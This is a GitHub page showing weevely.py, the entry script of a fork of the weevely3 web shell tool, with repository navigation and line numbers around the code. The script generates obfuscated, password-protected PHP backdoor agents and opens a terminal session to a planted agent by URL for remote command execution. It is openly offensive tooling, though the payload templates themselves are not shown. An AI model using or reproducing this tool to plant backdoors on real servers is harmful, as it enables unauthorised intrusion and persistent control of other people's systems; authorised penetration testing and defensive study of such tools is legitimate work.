forked from epinna/weevely3
-
Notifications
You must be signed in to change notification settings - Fork 0
/
weevely.py
executable file
·102 lines (81 loc) · 3.09 KB
/
weevely.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
from core.terminal import Terminal
from core.weexceptions import FatalException
from core.loggers import log, dlog
from core.sessions import SessionURL, SessionFile
from core.config import agent_templates_folder_path, obfuscators_templates_folder_path
from core import generate
from core import modules
from core import messages
from core.argparsers import CliParser
import pprint
import glob
import os
import sys
def main(arguments):
if arguments.command == 'generate':
obfuscated = generate.generate(
password = arguments.password,
obfuscator = arguments.obfuscator,
agent = arguments.agent
)
generate.save_generated(obfuscated, arguments.path)
log.info(
messages.generate.generated_backdoor_with_password_s_in_s_size_i %
(arguments.password, arguments.path, len(obfuscated))
)
return
elif arguments.command == 'terminal':
session = SessionURL(
url = arguments.url,
password = arguments.password
)
elif arguments.command == 'session':
session = SessionFile(arguments.path)
dlog.debug(
pprint.pformat(session)
)
modules.load_modules(session)
if not arguments.cmd:
Terminal(session).cmdloop()
else:
Terminal(session).onecmd(arguments.cmd)
if __name__ == '__main__':
parser = CliParser(prog='weevely')
subparsers = parser.add_subparsers(dest = 'command')
terminalparser = subparsers.add_parser('terminal', help='Run terminal')
terminalparser.add_argument('url', help = 'The agent URL')
terminalparser.add_argument('password', help = 'The agent password')
terminalparser.add_argument('cmd', help = 'Direct command', nargs='?')
sessionparser = subparsers.add_parser('session', help='Recover an existant a session file')
sessionparser.add_argument('path', help = 'The session file to load')
sessionparser.add_argument('cmd', help = 'Direct command', nargs='?')
agents_available = [
os.path.split(agent)[1].split('.')[0] for agent in
glob.glob('%s/*.tpl' % agent_templates_folder_path)
]
obfuscators_available = [
os.path.split(agent)[1].split('.')[0] for agent in
glob.glob('%s/*.tpl' % obfuscators_templates_folder_path)
]
generateparser = subparsers.add_parser('generate', help='Generate a new password')
generateparser.add_argument('password', help = 'The agent password')
generateparser.add_argument('path', help = 'Where save the generated agent')
generateparser.add_argument(
'-obfuscator', #The obfuscation method
choices = obfuscators_available,
default = 'obfusc1_php'
)
generateparser.add_argument(
'-agent', #The agent channel type
choices = agents_available,
default = 'stegaref_php'
)
parser.set_default_subparser('terminal')
arguments = parser.parse_args()
try:
main(arguments)
except (KeyboardInterrupt, EOFError):
log.info('Exiting.')
except FatalException as e:
log.critical('Exiting: %s' % e)